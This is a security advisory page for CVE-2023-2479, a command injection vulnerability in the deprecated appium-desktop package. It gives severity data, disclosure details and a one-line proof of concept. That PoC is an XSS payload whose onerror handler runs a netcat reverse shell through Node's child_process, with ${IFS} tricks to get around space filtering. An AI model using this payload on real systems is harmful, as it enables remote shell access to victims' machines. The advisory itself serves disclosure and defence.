Command Injection Affecting appium-desktop package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
92.27% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-APPIUMDESKTOP-5491470
  • published3 May 2023
  • disclosed3 May 2023
  • creditAden Yap Chuen Zhen

Introduced: 3 May 2023

CVE-2023-2479  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for appium-desktop.

Overview

appium-desktop is a Graphical interface for the Appium server, and an app inspector

Affected versions of this package are vulnerable to Command Injection due to improper user-input sanitization by allowing an attacker to set-up a reverse shell.

Note: This library is deprecated and users should switch to Appium and the Appium Inspector instead.

PoC

http://127.0.0.1/?xss=<img/src="1"/onerror=eval("require('child_process').exec('nc${IFS}localhost${IFS}4444${IFS}-e${IFS}/bin/bash');");>

CVSS Base Scores

version 3.1